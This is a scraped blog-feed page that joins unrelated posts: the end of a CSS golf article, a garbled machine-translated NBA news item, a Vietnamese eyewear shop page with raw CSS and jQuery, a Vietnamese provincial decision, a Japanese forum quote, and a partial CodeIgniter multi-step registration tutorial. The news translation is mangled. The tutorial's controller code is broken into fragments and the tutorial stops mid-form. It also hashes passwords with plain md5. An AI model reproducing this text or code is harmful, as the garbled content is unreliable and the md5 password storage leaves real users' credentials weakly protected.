a and b are the margin and border on <html>, and c is the margin on <body>. The right margin on <body> doesn’t do anything since there’s no room to push the <body> to the left and it already has zero width.
Once our box shadows are applied, b is covered up and all that’s left is our target image.
There are still some optimizations missing here though. Dorus van den Oord was able to take the border method down to a lean 121 bytes, offering this cryptic bit of advice:
small hint for getting to that 121: What if you could move an element by a quarter of a ...?
Attempts 5 and 6: 122 bytes
<style>*{border-radius:67%+0;border:75px solid#F3AC3C;margin:0 50;box-shadow:-53q 0#998235,-25vw 0#1A4341,0 0 0 5in#0B2429
Turns out all we needed was a unit hardly anyone’s ever heard of (q) (and the humble vw). Having to write "px" is rarely correct in CSS golf, so it’s something to be on the lookout for. Here, we can replace 100px with 25vw and 50px with 53q.
A q, or quarter-millimeter, is exactly that — 1/4th of a millimeter, or just under a pixel. The q unit is a staple of CSS golf as one of two values (the other being %) that require just one byte to express. I’ve combined my 5th and 6th attempts here since both were just unit tweaks. We’re still a byte off from 121 though!
Attempt 7: 121 bytes
<style>*{border-radius:67%0;border:75px solid#F3AC3C;margin:0 50;box-shadow:-53q 0#998235,-25vw 0#1A4341,0 0 0 5in#0B2429
We finally fixed that regression from the third attempt, thanks to a pull request from Praveen. A percentage doesn’t need a space between it and subsequent values, so we can save a byte in our border-radius. This is a great example of how sharing code can help everyone involved. I had been stuck on this for a pretty dang long time.
The "funky margin" method
Borders aren’t the only approach, though! Enter Rasmus Fløe’s funky margin:
I got 123 chars on #7 by using box-shadow and a funky margin:75 400 75-150 :)
Attempt 8: 120 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+400+75-150;box-shadow:86mm+0#F3AC3C,73mm+0#998235,75vh+0#1A4341>
Here’s how this works, as Rasmus explains it:
positive right margin pushes it off canvas to the left — and negative left margin stretches the element to the wanted width :)
Here it is drawn out:
The Rasmus Fløe "funky margin" method
The right margin (b) pushes the <body> element all the way to the left, collapsing it to zero width. The negative left margin (a) then stretches it back to 150px wide (the width of the leaf shape), and then our box shadow (c) is offset enough to be in view. This is awesome because we no longer have to deal with negative box shadows in order to get everything to layer correctly.
We’re also back to bgcolor and get to leverage a nice quirk of background colors: because <html> doesn’t have its own background color, it inherits one from <body>.
Attempts 9 and 10: 118 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+340+75-90;box-shadow:7cm+0#F3AC3C,57mm+0#998235,55vh+0#1A4341>
With a bit more unit-wrangling we’re able to save ourselves two more bytes (props to Dorus, who was the first to discover this optimization). Adjusting the margins saves a digit (150 becomes 90), and, as a sweet bonus, we get to convert 86mm to 70mm, which becomes 7cm. I’ve again combined two attempts here which were minor unit fixes. (I’m embarrassed to say I initially missed the mm-cm conversion.)
Attempt 11: 117 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+85%75-90;box-shadow:7cm+0#F3AC3C,57mm+0#998235,55vh+0#1A4341>
Romain Deltour was the first to find this 117-byte solution. Changing 340 to 85% means we get to omit a space after one of our values (just like we did with border-radius), saving another byte.
Attempt 12: 115 bytes
<body bgcolor=0B2429 style=border-radius:67%0;margin:75+85%75-90;box-shadow:7cm+0#F3AC3C,57mm+0#998235,55vh+0#7fd2>
Two full weeks after Romain’s 117-byte solution, Viacheslav Popov was able to alpha composite his way to 115 bytes via 4-digit hex codes.
I really love this because — not only is it dang clever — but a lot of people (myself included) thought the target had already been fully optimized. Viacheslav’s persistence both sparked a new round of discussion and added another CSS-Trick™ to our arsenal for future targets.
Attempt 13: <115 bytes?
This seems awfully close to optimal to me but that certainly doesn’t mean it can’t be beat — why not give it a shot? There's prior art to get you started, plenty of folks willing to help, and even some tooling. Happy golfing ⛳️
The post A CSS Golfing Exercise appeared first on CSS-Tricks.
😉SiliconWebX | 🌐CSS-Tricks
0 notes
torentialtribute · 6 years ago
Text
Luka Doncic reveals conversation with ‘legend’ Floyd Mayweather
& # 39; He said that he plays just like me & # 39 ;: Luka Doncic reveals conversation with & # 39; legend & # 39; Floyd Mayweather while NBA-rookie returns from ankle injury in Dallas-loss big Floyd Mayweather in LA
Mayweather met Doncic after the 19th -year made his comeback
by
Anthony Hay for MailOnline
Published: 08:05 GMT, February 26, 2019 | Updated: 08:06 GMT, February 26, 2019
Luka Doncic received an early 20th birthday gift because he was able to get in touch with the boxing of great Floyd Mayweather before and after his comeback appearance.
Doncic, who missed the last two Dallas Mavericks games with an ankle injury, revealed his delight against boxing royalty during the defeat of his side by the Los Angeles Clipper.
[Sloveense] [Sloveense] [Sloveense] [Sloveense] [Slovene[Sloveense] for his idol.
Mayweather sat at the Staples Center while he watched the Clippers defeat the Mavericks
Doncic told reporters after the game that Mayweather said he plays like him, but that he wanted to see him in action before commenting on the playing style of the former boxer.
He said: & # 39; He said that he plays just like me. I said I wanted to see it live. & # 39;
Doncic, who in his first season in the NBA gets an average of 20.7 points for the Dallas Mavericks, will be on Thursday 20.
He was not able to get his side to accompany to victory in Los Angeles on Monday-evening when the Clippers won 121-112 in the Staples Center.
Montrezl Harrell scored a career-high 32 points for the Clippers while Lou Williams added 21.
Doncic, who finished the game with 28 points, was criticized by his coach – Rick Carlisle – for making nine sales during his 33-minute appearance.
& # 39; He thinks he can cut every needle and throw the ball through the nose of a man and out of his back end, & # 39; Carlisle said.
& # 39; You just can not do that in this competition on a consistent basis. & # 39;
The Mavericks seem seemingly out of the NBA Playoff photo after losing their last five games.
Share or comment on this article:
Source link
0 notes
matviet · 7 years ago
Text
Data
Mắt Việt cập nhật https://matviet.vn/data/
Data
Lựa chọn hàng hiệu chính hãng
Thay đổi 
đến mọi thứ
Lựa chọn thương hiệu kính thời trang
tất cả thương hiệu
#text-box-1112096063 width: 100%; #text-box-1112096063 .text font-size: 75%; @media (min-width:550px) #text-box-1112096063 width: 40%; #text-box-1112096063 .text font-size: 100%;
#banner-149230554 padding-top: 56.25%; #banner-149230554 .bg.bg-loaded background-image: url(https://matviet.vn/wp-content/uploads/2018/07/oakey.jpg); #banner-149230554 .overlay background-color: rgba(0, 0, 0, 0.05); #banner-149230554 .bg background-position: 100% 100%; @media (min-width:550px) #banner-149230554 padding-top: 50%; @media (min-width:850px) #banner-149230554 padding-top: 600px;
Hệ thống Mắt Việt..
ƯU ĐÃI LỚN
LÊN TỚI 50%
dành cho nam dành cho nữ dành cho trẻ em
#text-box-407213585 width: 94%; #text-box-407213585 .text font-size: 60%; @media (min-width:550px) #text-box-407213585 width: 100%; #text-box-407213585 .text font-size: 87%; @media (min-width:850px) #text-box-407213585 width: 70%; #text-box-407213585 .text font-size: 100%;
#banner-910880761 padding-top: 56.25%; #banner-910880761 .bg.bg-loaded background-image: url(https://matviet.vn/wp-content/uploads/2018/07/vogue.jpg); #banner-910880761 .overlay background-color: rgba(0, 0, 0, 0.02); #banner-910880761 .bg background-position: 100% 100%; @media (min-width:550px) #banner-910880761 padding-top: 50%; @media (min-width:850px) #banner-910880761 padding-top: 600px;
Phong cách dàn ông mãnh mẽ
ưu đÃi lớn vào mùa hè
Tặng vocher 10% sản phẩm
mua nhanh
#text-box-700376472 width: 83%; #text-box-700376472 .text font-size: 79%; @media (min-width:550px) #text-box-700376472 width: 100%; #text-box-700376472 .text font-size: 100%; @media (min-width:850px) #text-box-700376472 width: 40%;
#banner-1008078029 padding-top: 56.25%; #banner-1008078029 .bg.bg-loaded background-image: url(https://matviet.vn/wp-content/uploads/2018/07/rayban.jpg); #banner-1008078029 .overlay background-color: rgba(0, 0, 0, 0.03); #banner-1008078029 .bg background-position: 100% 100%; @media (min-width:550px) #banner-1008078029 padding-top: 50%; @media (min-width:850px) #banner-1008078029 padding-top: 600px;
Thời trang dành cho phái Nữ
nhiều phong cách trẻ cho bạn nữ sành điệu
ưu đãi 50% ưu đãi 30%
#text-box-2137298725 width: 82%; #text-box-2137298725 .text font-size: 67%; @media (min-width:550px) #text-box-2137298725 width: 55%; #text-box-2137298725 .text font-size: 100%; @media (min-width:850px) #text-box-2137298725 width: 40%;
#banner-135054019 padding-top: 56.25%; #banner-135054019 .bg.bg-loaded background-image: url(https://matviet.vn/wp-content/uploads/2018/07/prada.jpg); #banner-135054019 .overlay background-color: rgba(0, 0, 0, 0.03); #banner-135054019 .bg background-position: 100% 100%; @media (min-width:550px) #banner-135054019 padding-top: 50%; @media (min-width:850px) #banner-135054019 padding-top: 600px;
thương hiệu
Cao Cấp
121 Sản phẩm
Sang Trọng
48 Sản phẩm
Thời Trang
425 Sản phẩm
Thể Thao
62 Sản phẩm
Gọng Kính
336 Sản phẩm
Kính Mát
330 Sản phẩm
Mua Hàng
#text-box-1065059597 width: 60%; #text-box-1065059597 .text font-size: 100%;
#banner-1812239354 .bg.bg-loaded background-image: url(https://matviet.vn/wp-content/uploads/2018/07/KINH1.jpg); #banner-1812239354 .overlay background-color: rgba(0, 0, 0, 0.17);
Mua Hàng
#text-box-756234544 width: 60%; #text-box-756234544 .text font-size: 100%;
#banner-127655751 .bg.bg-loaded background-image: url(https://matviet.vn/wp-content/uploads/2018/07/KINH2.jpg); #banner-127655751 .overlay background-color: rgba(0, 0, 0, 0.17);
sản phẩm thương hiệu
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Gọng Kính
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Kính Mát
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Bolon
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Kính Mát
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Burberry
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Gọng Kính
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Gọng Kính
Thêm vào danh sách yêu thích
Đã thêm sản phẩm ! Duyệt danh sách yêu thích
Sản phẩm đã có trong danh sách yêu thích ! Duyệt danh sách yêu thích
Mua Nhanh
Coach
#image_2095940811 width: 100%;
Miễn phí vận chuyển trên tất cả các đơn đặt hàng
Nhận miễn phí Giao hàng trên tất cả các đơn đặt hàng và trả lại miễn phí cho trung tâm trả về tại hệ thống Mắt Việt trên toàn quốc của chúng tôi! Các mặt hàng được gửi đi từ CHÚNG TÔI và sẽ đến trong 5-8 ngày.
Trung tâm dịch vụ khách hàng tuyệt vời
Với phương pháp “đào tạo mang tính tư vấn”, áp dụng công nghệ đào tạo mới của thế giới, chương trình đã được Mắt Việt triển khai thành công hơn 16 năm qua với sự tham gia của đông đảo các cấp quản lý và cá thương hiệu nước ngoài.
Không có phí hải quan hoặc phí Bảo Hành sữa chữa!
Chúng tôi thanh toán các khoản phí này để bạn không phải trả phí! Tổng số tiền thanh toán khi thanh toán là số tiền cuối cùng bạn thanh toán, đã bao gồm VAT, không tính thêm phí giao hàng tại thời điểm giao hàng!
Những Thương hiệu tại Mắt Việt
.lcs_logo_container a.lcs_logo_link:hover border: 1px solid #A0A0A0; ?>; .lcs_logo_container a:hover img -moz-transform: scale(1.05); -webkit-transform: scale(1.05); -o-transform: scale(1.05); -ms-transform: scale(1.05); transform: scale(1.05); .lcs_logo_container a.lcs_logo_link border: 1px solid #d6d4d4; #lcs_logo_carousel_wrapper .owl-nav position: absolute; margin-top: 0; /* TOP Right*/ #lcs_logo_carousel_wrapper .owl-nav right: 0; top: -34px; /* TOP Left*/ #lcs_logo_carousel_wrapper .owl-nav div { background: #ffffff; border-radius: 2px; margin: 2px; padding: 0; width: 27px; height: 27px; line-height: 20px; font-size: 22px; color: #ccc; border: 1px solid #ccc; opacity: 1; z-index: 999; -moz-transition: all 0.3s linear; -o-transition: all 0.3s linear; -webkit-transition: all 0.3s linear; transition: all 0.3s linear;
jQuery(document).ready(function($) var logoSlider = $("#lcs_logo_carousel_slider"); logoSlider.owlCarousel( loop:true, autoWidth:false, responsiveClass:true, dots:false, autoplay:true, autoplayTimeout: 4000, autoplayHoverPause: false, dotData:true, dotsEach:false, slideBy:1, rtl:false, nav:false, navText:['‹','›'], smartSpeed: 1000, // it smooths the transition responsive: 0 : items:2 , 500: items:3 , 600 : items:3 , 768: items:4 , 1199: items:5 ); // custom navigation button for slider // at first. let us cache the element var $lcs_wrap = $('#lcs_logo_carousel_wrapper'); // Go to the next item $lcs_wrap.on('click', '.prev', function () logoSlider.trigger('prev.owl.carousel'); ); // Go to the previous item $lcs_wrap.on('click', '.next', function () // With optional speed parameter // Parameters has to be in square bracket '[]' logoSlider.trigger('next.owl.carousel'); ) );
Bảo Dưỡng Kính và Chăm sóc mắt
Thương Hiệu Gucci
Triết lý thương hiệu Gucci là thương hiệu thời trang đẳng cấp có triết lý [...]
22 Th10
Mắt Kính Oakley
THƯƠNG HIỆU MẮT KÍNH OAKLEY “ Mọi thứ trên thế giới đều có thể và [...]
17 Th10
Những Dòng Kính Ray Ban Kinh Điển Mọi Thời Đại
Mặc dù thị trường  mắt kính ngày nay có sự cạnh tranh của nhiều thương [...]
15 Th10
[ Mắt Việt Mừng Ngày Phụ Nữ Việt Nam 20/10 ]
Mắt Việt Mừng Ngày Phụ Nữ Việt Nam 20/10 “Trao quà tặng – Gửi yêu [...]
12 Th10
0 notes
hosodangkynhanhieu · 6 years ago
Text
Quyết định 37/2019/QĐ-UBND sửa đổi bổ sung khoản 2 Điều 3 quy định về chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của Sở Giao thông vận tải tỉnh Tây Ninh kèm theo Quyết định 16/2016/QĐ-UBND
X
CÁC NỘI DUNG ĐƯỢC SỬA ĐỔI, HƯỚNG DẪN
Các nội dung của VB này được VB khác thay đổi, hướng dẫn sẽ được làm nổi bật bằng các màu sắc:
     : Sửa đổi, thay thế, hủy bỏ
     : Hướng dẫn
Click vào nội dung được bôi màu      để xem chi tiết.
Số hiệu: 37/2019/QĐ-UBND Loại văn bản: Quyết định Nơi ban hành: Tỉnh Tây Ninh Người ký: Phạm Văn Tân Ngày ban hành: 17/09/2019 Ngày hiệu lực: Đã biết Ngày công báo: Đang cập nhật Số công báo: Đang cập nhật Tình trạng: Đã biết
ỦY BAN NHÂN DÂN TỈNH TÂY NINH ——-
CỘNG HÒA XÃ HỘI CHỦ NGHĨA VIỆT NAM Độc lập – Tự do – Hạnh phúc —————
Số: 37/2019/QĐ-UBND
Tây Ninh, ngày 17 tháng 9 năm 2019
  QUYẾT ĐỊNH
SỬA ĐỔI, BỔ SUNG KHOẢN 2 ĐIỀU 3 QUY ĐỊNH CHỨC NĂNG, NHIỆM VỤ, QUYỀN HẠN VÀ CƠ CẤU TỔ CHỨC CỦA SỞ GIAO THÔNG VẬN TẢI TỈNH TÂY NINH BAN H��NH KÈM THEO QUYẾT ĐỊNH SỐ 16/2016/QĐ-UBND NGÀY 30 THÁNG 5 NĂM 2016 CỦA ỦY BAN NHÂN DÂN TỈNH TÂY NINH
ỦY BAN NHÂN DÂN TỈNH TÂY NINH
Căn cứ Luật Tổ chức chính quyền địa phương ngày 19 tháng 6 năm 2015;
Căn cứ Nghị định số 24/2014/NĐ-CP ngày 04 tháng 4 năm 2014 của Chính phủ quy định tổ chức các cơ quan chuyên môn thuộc Ủy ban nhân dân tỉnh, thành phố trực thuộc Trung ương;
Căn cứ Thông tư liên tịch số 42/2015/TTLT-BGTVT-BNV ngày 14 tháng 8 năm 2015 của Bộ Giao thông Vận tải và Bộ Nội vụ hướng dẫn chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của cơ quan chuyên môn về giao thông vận tải thuộc Ủy ban nhân dân tỉnh, thành phố trực thuộc Trung ương và Ủy ban nhân dân huyện, quận, thị xã, thành phố thuộc tỉnh;
Để thực hiện Nghị quyết số 18-NQ/TW ngày 25 tháng 10 năm 2017 của Ban Chấp hành Trung ương Đảng (khóa XII) “Một số vấn đề tiếp tục đổi mới, sắp xếp tổ chức bộ máy hệ thống chính trị tinh gọn, hoạt động hiệu lực, hiệu quả;
Theo đề nghị của Giám đốc Sở Giao thông Vận tải tại Tờ trình số 121/TTr-GTVT ngày 26 tháng 8 năm 2019.
QUYẾT ĐỊNH:
Điều 1. Sửa đổi, bổ sung khoản 2 Điều 3 Quy định chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của Sở Giao thông vận tải tỉnh Tây Ninh ban hành kèm theo Quyết định số 16/2016/QĐ-UBND ngày 30 tháng 5 năm 2016 của Ủy ban nhân dân tỉnh Tây Ninh.
“2. Các tổ chức tham mưu tổng hợp và chuyên môn, nghiệp vụ: có 04 phòng và tương đương, cụ thể:
a) Văn phòng Sở;
b) Thanh tra Sở;
c) Phòng Kế hoạch – Tài chính – Quản lý hạ tầng Giao thông;
d) Phòng Quản lý vận tải, phương tiện và người lái.
Việc bổ nhiệm, miễn nhiệm, kỷ luật công chức là trưởng, phó các phòng chuyên môn nghiệp vụ được thực hiện theo quy định về tiêu chuẩn và phân cấp quản lý công chức hiện hành của tỉnh.”
Điều 2. Trách nhiệm thi hành
Chánh Văn phòng Đoàn Đại biểu Quốc hội, Hội đồng nhân dân và Ủy ban nhân dân tỉnh; Giám đốc các Sở: Giao thông vận tải, Nội vụ; Thủ trưởng các sở, ban, ngành liên quan; Chủ tịch Ủy ban nhân dân các huyện, thành phố chịu trách nhiệm thi hành Quyết định này.
Điều 3. Điều khoản thi hành
Quyết định này có hiệu lực thi hành kể từ ngày 27 tháng 9 năm 2019./.
  Nơi nhận: – Văn phòng Chính phủ; – Vụ Pháp chế – Bộ GTVT; – Cục Kiểm tra VBQPPL – Bộ Tư pháp; – Đoàn Đại biểu Quốc hội tỉnh; – TT.TU, TT.HĐND tỉnh; – Chủ tịch, các PCT UBND tỉnh; – Như Điều 2; – Sở Tư pháp; – Trung tâm CBTH, P. NCPC; – Lưu: VT, VP ĐĐBQH, HĐND và UBND tỉnh.
TM. ỦY BAN NHÂN DÂN CHỦ TỊCH
Phạm Văn Tân
  Văn bản này chưa cập nhật nội dung Tiếng Anh
Quyết định 37/2019/QĐ-UBND sửa đổi bổ sung khoản 2 Điều 3 quy định về chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của Sở Giao thông vận tải tỉnh Tây Ninh kèm theo Quyết định 16/2016/QĐ-UBND
209
Quyết định 37/2019/QĐ-UBND Quy định chức năng cơ cấu tổ chức của Sở …
Chọn văn bản so sánh thay thế:
Tumblr media Tumblr media
CÁC NỘI DUNG SỬA ĐỔI, HƯỚNG DẪN
NỘI DUNG
Văn bản bị thay thế
Văn bản thay thế
Tumblr media
Chú thích:
Rà chuột vào nội dụng văn bản để sử dụng.
= Nội dung thay thế tương ứng;
= Không có nội dung thay thế tương ứng;
= Không có nội dung bị thay thế tương ứng;
= Nội dung được sửa đổi, bổ sung.
  Click trái để xem cụ thể từng nội dung cần so sánh và cố định bảng so sánh.
Click phải để xem những nội dung sửa đổi, bổ sung.
Double click để xem tất cả nội dung không có thay thế tương ứng.
Tắt so sánh [X] để trở về trạng thái rà chuột ban đầu.
Địa chỉ: 17 Nguyễn Gia Thiều, P.6, Q.3, TP.HCM Điện thoại: (028) 3930 3279 (06 lines) E-mail: [email protected]
Tumblr media
IP: 103.221.221.8
Xin chân thành cảm ơn Thành viên  đã sử dụng www.ThuVienPhapLuat.vn
Hiện tại THƯ VIỆN PHÁP LUẬT phiên bản hoàn toàn mới cung cấp nhiều tiện ích vượt trội:
Tra cứu dễ dàng bởi thanh công cụ tra cúu hoàn toàn mới
Tra cứu toàn bộ Văn bản Gốc;
Tra cứu hơn 280.000 văn bản Pháp Luật;
Ban Thư Ký Luật sẽ Thông báo tóm lược những Văn bản Quý khách cần, qua Email hoặc SMS, ngay khi nó vừa ban hành, hoặc vừa có hiệu lực;
Hỗ Trợ tư vấn Pháp lý sơ bộ miễn phí qua các hình thức: Điện Thoại, email.
Khi áp dụng văn bản, bạn sẽ được biết: • Ngày áp dụng của từng văn bản. • Tình trạng hiệu lực của từng văn bản.
Đặc biệt hỗ trợ tư vấn pháp lý sơ bộ miễn phí qua 3 hình thức: điện thoại, chat và email bởi bộ phận chuyên viên pháp lý.
Tumblr media
Xin chân thành cảm ơn Thành viên  đã sử dụng www.ThuVienPhapLuat.vn
The post Quyết định 37/2019/QĐ-UBND sửa đổi bổ sung khoản 2 Điều 3 quy định về chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của Sở Giao thông vận tải tỉnh Tây Ninh kèm theo Quyết định 16/2016/QĐ-UBND appeared first on Hồ Sơ Đăng Ký Nhãn Hiệu.
https://ift.tt/2Mbzdir
0 notes
plasticdreams · 8 years ago
Quote
14: 2017/05/04(木) 11:38:23.40ID:kAxvn4j40.net つーかデジタル化してネット中継して 行くのメンドい 121: 2017/05/04(木) 12:26:51.34ID:sfqLfeT20.net >>14 VRの出番ですね 337: 2017/05/04(木) 20:12:02.91ID:B1D1AUr00.net >>121 その内VR説法も出てくるな
【動画】カッコ良すぎる法要が話題にwww なお仏教界からは批判殺到中www : 暇人\(^o^)/速報 - ライブドアブログ
4 notes · View notes
programmingbiters-blog · 7 years ago
Photo
Tumblr media
New Post has been published on https://programmingbiters.com/multi-step-registration-form-using-codeigniter-mysql-jquery/
Multi-step Registration form using Codeigniter, MySQL, jQuery
Tumblr media
Sometimes we need to capture lots of user details during registration process and as a result we got long forms on web page. So the best solution is to break the form into smaller logical section and present it into a multi-step registration form. This type of mult-step registration form always improves usability on web page comparing to very long form.
I am going to explain how to convert very long form into multi-step registration form using Codeigniter, MySQL and jQuery.
Prerequisite
Netbeans 8.2 XAMPP in Windows Codeigniter 3.1.7
Go through below steps
Step 1. Create a table called user in MySQL database. Create database roytuts in MySQL server if it does not exist already.
1
2
3
4
5
6
7
8
9
10
11
12
13
CREATE TABLE `users` (
`id`INT(11) NOT NULL AUTO_INCREMENT,
`name`VARCHAR(100) NOT NULL,
`password` VARCHAR(255) NULL,
`email`VARCHAR(100) NULL,
`phone`INT(10) NOT NULL,
`gender`VARCHAR(6) NOT NULL,
`dob`VARCHAR(10) NOT NULL,
`address`VARCHAR(255) NOT NULL,
PRIMARY KEY (`id`)
)
COLLATE=‘utf8_general_ci’
ENGINE=InnoDB;
Step 2. Now first configure Codeigniter 3. with Netbeans 8.2 IDE if you have not configured already. Setup Codeigniter, Netbeans and XAMPP in Windows
Step 3. Open application/config/autoload.php file and autoload few things
1
2
$autoload[‘libraries’] = array(‘database’, ‘form_validation’);
$autoload[‘helper’] = array(‘html’, ‘url’, ‘file’, ‘form’);
Step 4. Open application/config/database.php file and make required changes for database configurations
1
2
3
‘username’ => ‘root’,
‘password’ => ”,
‘database’ => ‘roytuts’,
If you have password for the database then put appropriate password.
Step 5. Create Model class for database operations
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/**
* Description of User
*
* @author roytuts.com
*/
class UserModel extends CI_Model
    private $user_table = ‘users’;
    function __construct()
        parent::__construct();
         function insert_user($name, $password, $email, $phone, $gender, $dob, $address)
        $data = array(‘name’ => $name, ‘password’ => md5($password), ’email’ => $email, ‘phone’ => $phone, ‘gender’ => $gender, ‘dob’ => $dob, ‘address’ => $address);
        $result = $this->db->insert($this->user_table, $data);
        if ($result !== NULL)
            return TRUE;
                 return FALSE;
     Step 6. Create Controller class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
/**
* Description of User
*
* @author roytuts.com
*/
defined(‘BASEPATH’) OR exit(‘No direct script access allowed’);
class UserController extends CI_Controller
    function __construct()
        parent::__construct();
        $this->load->model(‘usermodel’);
         public function index()
        if ($this->input->post(‘finish’)) required’);
            $this->form_validation->set_rules(‘dob’, ‘Date of Birth’, ‘trim else
            $this->load->view(‘user’);
              Step 7. Create View file for user input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
<html>
    <head>
        <title>Multi Step Registration</title>
        <style>
            body
                font-family:tahoma;
                font-size:12px;
                         #signup-step
                margin:auto;
                padding:0;
                width:53%
                         #signup-step li
                list-style:none;
                float:left;
                padding:5px 10px;
                border-top:#004C9C 1px solid;
                border-left:#004C9C 1px solid;
                border-right:#004C9C 1px solid;
                border-radius:5px 5px 0 0;
                         .active
                color:#FFF;
                         #signup-step li.active
                background-color:#004C9C;
                         #signup-form
                clear:both;
                border:1px #004C9C solid;
                padding:20px;
                width:50%;
                margin:auto;
                         .demoInputBox
                padding: 10px;
                border: #CDCDCD 1px solid;
                border-radius: 4px;
                background-color: #FFF;
                width: 50%;
                         .signup-error
                color:#FF0000;
                padding-left:15px;
                         .message
                color: #00FF00;
                font-weight: bold;
                width: 100%;
                padding: 10;
                         .btnAction
                padding: 5px 10px;
                background-color: #F00;
                border: 0;
                color: #FFF;
                cursor: pointer;
                margin-top:15px;
                         label
                line-height:35px;
                     </style>
        <script src=“http://code.jquery.com/jquery-1.10.2.js”></script>
        <script>
            function validate()
                var output = true;
                $(“.signup-error”).html(”);
                if ($(“#personal-field”).css(‘display’) != ‘none’)
                    if (!($(“#name”).val()))
                        output = false;
                        $(“#name-error”).html(“Name required!”);
                                         if (!($(“#dob”).val()))
                        output = false;
                        $(“#dob-error”).html(“Date of Birth required!”);
                                                      if ($(“#password-field”).css(‘display’) != ‘none’)
                    if (!($(“#user-password”).val()))
                        output = false;
                        $(“#password-error”).html(“Password required!”);
                                         if (!($(“#confirm-password”).val()))
                        output = false;
                        $(“#confirm-password-error”).html(“Confirm password required!”);
                                         if ($(“#user-password”).val() != $(“#confirm-password”).val())
                        output = false;
                        $(“#confirm-password-error”).html(“Password not matched!”);
                                                      if ($(“#contact-field”).css(‘display’) != ‘none’)
                    if (!($(“#phone”).val()))
                        output = false;
                        $(“#phone-error”).html(“Phone required!”);
                                         if (!($(“#email”).val()))
                        output = false;
                        $(“#email-error”).html(“Email required!”);
                                         if (!$(“#email”).val().match(/^([\w–\.]+@([\w–]+\.)+[\w–]2,4)?$/))
                        $(“#email-error”).html(“Invalid Email!”);
                        output = false;
                                         if (!($(“#address”).val()))
                        output = false;
                        $(“#address-error”).html(“Address required!”);
                                                      return output;
                         $(document).ready(function ()
                $(“#next”).click(function ()
                    var output = validate();
                    if (output === true)
                        var current = $(“.active”);
                        var next = $(“.active”).next(“li”);
                        if (next.length > 0)
                            $(“#” + current.attr(“id”) + “-field”).hide();
                            $(“#” + next.attr(“id”) + “-field”).show();
                            $(“#back”).show();
                            $(“#finish”).hide();
                            $(“.active”).removeClass(“active”);
                            next.addClass(“active”);
                            if ($(“.active”).attr(“id”) == $(“li”).last().attr(“id”))
                                $(“#next”).hide();
                                $(“#finish”).show();
                                                                                           );
                $(“#back”).click(function ()
                    var current = $(“.active”);
                    var prev = $(“.active”).prev(“li”);
                    if (prev.length > 0)
                        $(“#” + current.attr(“id”) + “-field”).hide();
                        $(“#” + prev.attr(“id”) + “-field”).show();
                        $(“#next”).show();
                        $(“#finish”).hide();
                        $(“.active”).removeClass(“active”);
                        prev.addClass(“active”);
                        if ($(“.active”).attr(“id”) == $(“li”).first().attr(“id”))
                            $(“#back”).hide();
                                                              );
                $(“input#finish”).click(function (e)
                    var output = validate();
                    var current = $(“.active”);
                    if (output === true)
                        return true;
                     else
                        //prevent refresh
                        e.preventDefault();
                        $(“#” + current.attr(“id”) + “-field”).show();
                        $(“#back”).show();
                        $(“#finish”).show();
                                     );
            );
        </script>
    </head>
    <body>
        <ul id=“signup-step”>
            <li id=“personal” class=“active”>Personal Detail</li>
            <li id=“password”>Password</li>
            <li id=“contact”>Contact</li>
        </ul>
        <?php
        if (isset($success))
            echo ‘User record inserted successfully’;
                 $attributes = array(‘name’ => ‘frmRegistration’, ‘id’ => ‘signup-form’);
        echo form_open($this->uri->uri_string(), $attributes);
        ?>
        <div id=“personal-field”>
            <label>Name</label><span id=“name-error” class=“signup-error”></span>
            <div><input type=“text” name=“name” id=“name” class=“demoInputBox”/></div>
            <label>Date of Birth</label><span id=“dob-error” class=“signup-error”></span>
            <div><input type=“text” name=“dob” id=“dob” class=“demoInputBox”/></div>
            <label>Gender</label>
            <div>
                <select name=“gender” id=“gender” class=“demoInputBox”>
                    <option value=“male”>Male</option>
